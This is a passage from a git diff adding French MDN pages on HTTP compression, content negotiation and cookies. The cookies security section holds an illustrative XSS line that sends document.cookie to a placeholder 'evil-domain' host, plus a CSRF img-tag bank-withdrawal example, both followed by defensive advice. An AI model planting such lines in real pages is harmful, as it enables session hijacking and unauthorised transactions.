compression/décompression ne modifie pas les données. Les données ainsi décompressées correspondent à l'octet près à l'original.<br> + Pour les images, <code>gif</code> ou <code>png</code> utilisent une compression sans perte.</li> + <li><em>Compression avec pertes</em>, le cycle de compression modifie la donnée originale de façon peu perceptible pour l'utilisateur.<br> + Les formats vidéos sur le Web sont des exemples de formats intégrant une compression avec pertes, pour les images <code>jpeg</code> est un format avec pertes.</li> +</ul> + +<p>Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que <code>webp</code>. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de <a href="https://www.creativebloq.com/design/image-compression-tools-1132865">nombreux outils spécialisés</a> pour cet usage.</p> + +<p>Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte.</p> + +<div class="note"> +<p>Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé.</p> +</div> + +<h2 id="Compression_de_bout_en_bout">Compression de bout en bout</h2> + +<p>La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée.</p> + +<p><img alt="Séquence du serveur au client mettant en œuvre la compression de bout en bout" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p> + +<p>L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : <code>gzip</code>, le plus utilisé et <code>br</code> le nouveau venu.</p> + +<p>Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur <a href="/fr/docs/Web/HTTP/Content_negotiation"> la négociation du contenu</a>. Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource.</p> + +<p><img alt="Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p> + +<p>La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé.</p> + +<p>Apache prend en charge la compression et utilise <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>; nginx dispose de <a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a>; pour IIS, il existe l'élément <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression"><httpCompression></a></code>.</p> + +<h2 id="Compression_saut_par_saut">Compression saut par saut</h2> + +<p>La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression <em>différent</em>.</p> + +<p><img alt="Compression saut par saut entre le serveur et le client" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p> + +<p>HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}.</p> + +<p><img alt="Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p> + +<p>En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille.</p> + +<p>Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy.</p> diff --git a/files/fr/web/http/content_negotiation/index.html b/files/fr/web/http/content_negotiation/index.html new file mode 100644 index 0000000000..0a3b3d4427 --- /dev/null +++ b/files/fr/web/http/content_negotiation/index.html @@ -0,0 +1,143 @@ +--- +title: La négociation de contenu +slug: Web/HTTP/Content_negotiation +translation_of: Web/HTTP/Content_negotiation +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">En <a href="/en-US/docs/Glossary/HTTP">HTTP</a>, la <em><strong>négociation de contenu</strong></em> est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu).</p> + +<h2 id="Principes_de_la_négociation_de_contenu">Principes de la négociation de contenu</h2> + +<p>Un document spécifique s'appelle une <em>ressource</em>. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la <em>négociation de contenu</em> et il existe plusieurs façons de négocier entre le client et le serveur.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p> + +<p>La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants:</p> + +<ul> + <li>Des <a href="/fr/docs/Web/HTTP/Headers">en-têtes HTTP</a> spécifiques envoyés par le client (<em>négociation pilotée par le serveur </em>ou <em>négociation proactive</em>), qui est le moyen standard de négocier un type de ressource spécifique.</li> + <li>Les <a href="/fr/docs/Web/HTTP/Status">codes réponses</a> {{HTTPStatus("300")}} (Multiple Choices) ou {{HTTPStatus("406")}} (Not Acceptable) envoyés par le serveur (<em>négociation pilotée par le client</em> ou <em>négociation réactive</em>), qui sont utilisés comme mécanismes de repli.</li> +</ul> + +<p>Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête <code>Alternates</code>, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées.</p> + +<h2 id="La_négociation_de_contenu_gérée_par_le_serveur">La négociation de contenu gérée par le serveur</h2> + + + +<p>Dans la <em>négociation de contenu gérée par le serveur</em>, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'<a href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">algorithme de négociation d'Apache 2.2</a>.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p> + +<p>La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les <a href="/en-US/docs/Web/HTTP/Caching">caches</a> puissent fonctionner de manière optimale.</p> + +<p>En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (<em>hints</em>) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile).</p> + +<p>Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients:</p> + +<ul> + <li>Le serveur n'a pas une connaissance totale du navigateur. Même avec l'extension <em>Client Hints</em>, il n'a pas une connaissance complète des capacités du navigateur. Contrairement à la négociation de contenu réactif où le client fait le choix, celui du serveur est toujours quelque peu arbitraire.</li> + <li>L'information fournie par le client est assez verbeuse (la compression de l'en-tête HTTP/2 atténue ce problème) et est un risque d'atteinte à la vie privée (empreintes digitales HTTP)</li> + <li>Comme plusieurs représentations d'une ressource donnée sont envoyées, les caches partagés sont moins efficaces et les implémentations des serveurs sont plus complexes.</li> +</ul> + +<h3 id="The_Accept_header">The <code>Accept</code> header</h3> + +<p>The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.</p> + +<p>The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">default values for common browsers</a> is available.</p> + +<h3 id="The_Accept-CH_header_experimental_inline">The <code>Accept-CH</code> header {{experimental_inline}}</h3> + +<div class="note"> +<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints</em>. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.</p> +</div> + +<p>The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Value</th> + <th scope="col">Meaning</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>Device-Memory</code></td> + <td>Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as <code>0.5</code>. </td> + </tr> + <tr> + <td><code>DPR</code></td> + <td>Indicates the client's device pixel ratio.</td> + </tr> + <tr> + <td><code>Viewport-Width</code></td> + <td>Indicates the layout viewport width in CSS pixels. </td> + </tr> + <tr> + <td><code>Width</code></td> + <td>Indicates the resource width in physical pixels (in other words the intrinsic size of an image).</td> + </tr> + </tbody> +</table> + +<h3 id="The_Accept-Charset_header">The <code>Accept-Charset</code> header</h3> + +<p>The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a Western European locale.</p> + +<p>With UTF-8 now being well-supported, being the preferred way of encoding characters, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">and to guarantee better privacy through less configuration-based entropy</a>, browsers omit the <code>Accept-Charset</code> header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.</p> + +<h3 id="The_Accept-CH-Lifetime_header">The <code>Accept-CH-Lifetime</code> header</h3> + +<div class="note"> +<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints </em> and is only available in Chrome 61 or later.</p> +</div> + +<p>The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the <code>Device-Memory</code> value of the <code>Accept-CH</code> header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.</p> + +<h3 id="The_Accept-Encoding_header">The <code>Accept-Encoding</code> header</h3> + +<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p> + +<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p> + +<h3 id="The_Accept-Language_header">The <code>Accept-Language</code> header</h3> + +<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p> + +<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p> + +<ul> + <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li> + <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li> +</ul> + +<h3 id="The_User-Agent_header">The <code>User-Agent</code> header</h3> + +<div class="note"> +<p>Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p> +</div> + +<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p> + +<p>A <em>product token</em> is a name followed by a '<code>/</code>' and a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p> + +<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3> + +<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p> + +<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p> + +<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p> + +<h2 id="Agent-driven_negotiation">Agent-driven negotiation</h2> + +<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p> + +<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p> + +<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p> diff --git a/files/fr/web/http/cookies/index.html b/files/fr/web/http/cookies/index.html new file mode 100644 index 0000000000..334217f6db --- /dev/null +++ b/files/fr/web/http/cookies/index.html @@ -0,0 +1,192 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - Cookies + - Guide + - HTTP +translation_of: Web/HTTP/Cookies +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary">Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur </span>— pour exemple pour garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état".</p> + +<p>Les cookies sont utilisés pour 3 raisons principales :</p> + +<dl> + <dt>Gestion des sessions</dt> + <dd>Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir.</dd> + <dt>Personnalisation</dt> + <dd>Préférences utilisateur, thèmes, et autres paramètres.</dd> + <dt>Suivi</dt> + <dd>Enregistrement et analyse du comportement utilisateur.</dd> +</dl> + +<p>Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'<a href="/fr/docs/Web/API/Web_Storage_API" title="DOM Storage">API Web storage</a> (<code>localStorage</code> et <code>sessionStorage</code>) et <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB</a>.</p> + +<div class="note"> +<p>Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'<a href="/fr/docs/Outils/Inspecteur_de_stockage">Inspecteur de stockage</a> des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox).</p> +</div> + +<h2 id="Création_de_cookies">Création de cookies</h2> + +<p>Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé.</p> + +<h3 id="Les_entêtes_Set-Cookie_et_Cookie">Les entêtes <code>Set-Cookie</code> et <code>Cookie</code></h3> + +<p>L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci:</p> + +<pre class="syntaxbox">Set-Cookie: <nom-du-cookie>=<valeur-du-cookie></pre> + +<div class="note"><strong>Note :</strong> Voici comme utiliser l'en-tête <code>Set-Cookie</code> dans divers langages de programmation côté serveur : + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<p>Exemple de réponse HTTP complète:</p> + +<pre>HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[contenu de la page]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}:</p> + +<pre>GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> + +<h3 id="Cookies_de_session">Cookies de session</h3> + +<p>Le cookie créé ci-dessus est un <em>cookie de session </em>: il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive <code>Expires</code> ou <code>Max-Age</code>. Notons cependant que les navigateurs web peuvent utiliser la <strong>restauration de session</strong>, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.</p> + +<h3 id="Cookies_permanents">Cookies permanents</h3> + +<p>Plutôt que d'expirer quand le client ferme, <em>les cookies permanents</em> expirent à une date spécifique (<code>Expires</code>) ou après un certain temps (<code>Max-Age</code>).</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>Note</strong>: Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur.</p> +</div> + +<h3 id="Cookies_Secure_et_HttpOnly">Cookies <code>Secure</code> et <code>HttpOnly</code></h3> + +<p>Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec <code>Secure</code>, les informations sensibles ne devraient <em>jamais</em> être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (<code>http:</code>) ne peuvent pas définir de cookies avec la directive <code>Secure</code>.</p> + +<p>Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies <code>HttpOnly</code>, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option <code>HttpOnly</code> doit être définie.</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Portée_des_cookies">Portée des cookies</h3> + +<p>Les directives <code>Domain</code> et <code>Path</code> définissent la <em>portée</em> d'un cookie : sur quelles URLs les cookies doivent être envoyés.</p> + +<p><code>Domain</code> spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de <a href="/fr/docs/Web/API/Document/location">l'hôte de l'emplacement actuel du document</a>, en <strong>excluant les sous-domaines</strong>. Si <code>Domain</code> est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si <code>Domain=mozilla.org</code> est défini, alors les cookies sont envoyés sur les sous-domaines comme <code>developer.mozilla.org</code>.</p> + +<p><code>Path</code> indique pour quels chemins d'URL on doit envoyer l'entête <code>Cookie</code>. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si <code>Path=/docs</code> est défini, ces chemins seront acceptés :</p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="Cookies_SameSite_experimental_inline">Cookies <code>SameSite</code> {{experimental_inline}}</h3> + +<p>Les cookies <code>SameSite</code> laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies <code>SameSite</code> sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs.</p> + +<h3 id="Accès_JavaScript_en_utilisant_Document.cookie">Accès JavaScript en utilisant <code>Document.cookie</code></h3> + +<p>De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété {{domxref("Document.cookie")}}, et si l'option <code>HttpOnly</code> n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.</p> + +<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// affiche "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS.</p> + +<h2 id="Sécurité">Sécurité</h2> + +<div class="note"> +<p>Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé.</p> +</div> + +<h3 id="Piratage_de_session_et_XSS">Piratage de session et XSS</h3> + +<p>Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application.</p> + +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> + +<p>L'attribut <code>HttpOnly</code> du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript.</p> + +<h3 id="Cross-Site_Request_Forgery_CSRF">Cross-Site Request Forgery (CSRF)</h3> + +<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent:</p> + +<pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques:</p> + +<ul> + <li>Comme pour {{Glossary("Cross-site_scripting","XSS")}}, filtrer les données en entrée est important.</li> + <li>Il devrait toujours y avoir une confirmation requise pour toute action sensible.</li> + <li>Les cookies utilisés pour les actions sensibles ne doivent avoir qu'une durée de vie limitée.</li> + <li>Pour plus de conseils de prévention, voir <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li> +</ul> + +<h2 id="Suivi_et_confidentialité">Suivi et confidentialité</h2> + +<h3 id="Cookies_tiers">Cookies tiers</h3> + +<p>Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (<em>first-party cookie</em>). Si le domaine est différent, on parle de cookie tiers (<em>third-party cookie</em>).</p> + +<p>Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les <a href="https://www.google.com/policies/technologies/types/">types de cookies utilisés par Google</a>. La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger17/">Privacy Badger</a> par <a href="https://www.eff.org/">EFF</a>).</p> + +<p>Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a> de Wikipedia.</p> + +<ul> +</ul> + +<h3 id="Do-Not-Track">Do-Not-Track</h3> + +<p>Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations.</p> + +<h3 id="Directive_de_lUE_sur_les_cookies">Directive de l'UE sur les cookies</h3> + +<p>Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre.</p> + +<p>Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies.</p> + +<p>Pour en savoir plus, voir <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">cette section Wikipedia</a> et consultez les lois de l'état pour avoir des informations plus récentes et plus précises.</p> + +<h3 id="Cookies_Zombie_et_Evercookies">Cookies Zombie et Evercookies</h3> + +<p>Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées 